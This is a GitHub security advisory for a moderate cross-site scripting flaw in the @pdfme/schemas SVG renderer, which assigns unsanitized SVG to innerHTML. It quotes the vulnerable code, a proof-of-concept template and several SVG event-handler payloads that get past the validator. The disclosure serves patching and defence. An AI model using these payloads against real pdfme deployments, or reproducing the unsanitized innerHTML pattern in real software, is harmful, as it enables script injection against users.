GitHub Security Advisory: GHSA-87v3-4cfp-cm76
Package: @pdfme/schemas (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 5.5.8
Patched in: 5.5.9

Summary: Cross-Site Scripting (XSS) via SVG Schema innerHTML Injection in @pdfme/schemas

Details:
## Summary

The SVG schema plugin in `@pdfme/schemas` renders user-supplied SVG content using `container.innerHTML = value` without any sanitization, enabling arbitrary JavaScript execution in the user's browser.

## Details

In `packages/schemas/src/graphics/svg.ts`, line 87, the SVG schema's `ui` renderer assigns raw SVG markup directly to `innerHTML` when in viewer mode or form mode with `readOnly: true`:

```typescript
// svg.ts, line 81-94 (non-editable rendering path)
} else {
  if (!value) return;
  if (!isValidSVG(value)) {
    rootElement.appendChild(createErrorElm());
    return;
  }
  container.innerHTML = value;  // <-- VULNERABLE: unsanitized SVG injected into DOM
  const svgElement = container.childNodes[0];
  if (svgElement instanceof SVGElement) {
    svgElement.setAttribute('width', '100%');
    svgElement.setAttribute('height', '100%');
    rootElement.appendChild(container);
  }
}
```

The `isValidSVG()` function (lines 11-37) only validates that the string contains `<svg` and `</svg>` tags and passes `DOMParser` well-formedness checks. It does NOT strip or block:
- `<script>` tags embedded in SVG
- Event handler attributes (`onload`, `onerror`, `onclick`, etc.)
- `<foreignObject>` elements containing HTML with event handlers
- `<animate>` / `<set>` elements with `onbegin` / `onend` handlers
- SVG `<use>` elements referencing malicious external resources

All of these are valid SVG and pass `isValidSVG()`, but execute JavaScript when inserted via `innerHTML`.

## Attack Vectors

### 1. Malicious Template (readOnly SVG schema)
An attacker crafts a template JSON with a readOnly SVG schema containing a malicious `content` value. When loaded into the pdfme Form or Viewer component, the SVG executes JavaScript.

### 2. Application-Supplied Inputs + Viewer
If an application uses the pdfme Viewer component and passes user-controlled data as inputs for a non-readOnly SVG schema, the attacker's SVG flows directly to `innerHTML`.

## Proof of Concept

Loading the following template into a pdfme Form or Viewer component triggers JavaScript execution:

```json
{
  "basePdf": { "width": 210, "height": 297, "padding": [20, 20, 20, 20] },
  "schemas": [[
    {
      "name": "malicious_svg",
      "type": "svg",
      "content": "<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'><rect width='100' height='100' fill='red'/></svg>",
      "readOnly": true,
      "position": { "x": 20, "y": 20 },
      "width": 80,
      "height": 40
    }
  ]]
}
```

Additional payloads that bypass `isValidSVG()` and execute JavaScript:

```svg
<!-- Via foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg"><foreignObject width="200" height="60"><body xmlns="http://www.w3.org/1999/xhtml"><img src="x" onerror="alert(1)"/></body></foreignObject></svg>

<!-- Via animate onbegin -->
<svg xmlns="http://www.w3.org/2000/svg"><rect width="100" height="100"><animate attributeName="x" values="0" dur="0.001s" onbegin="alert(1)"/></rect></svg>
```

#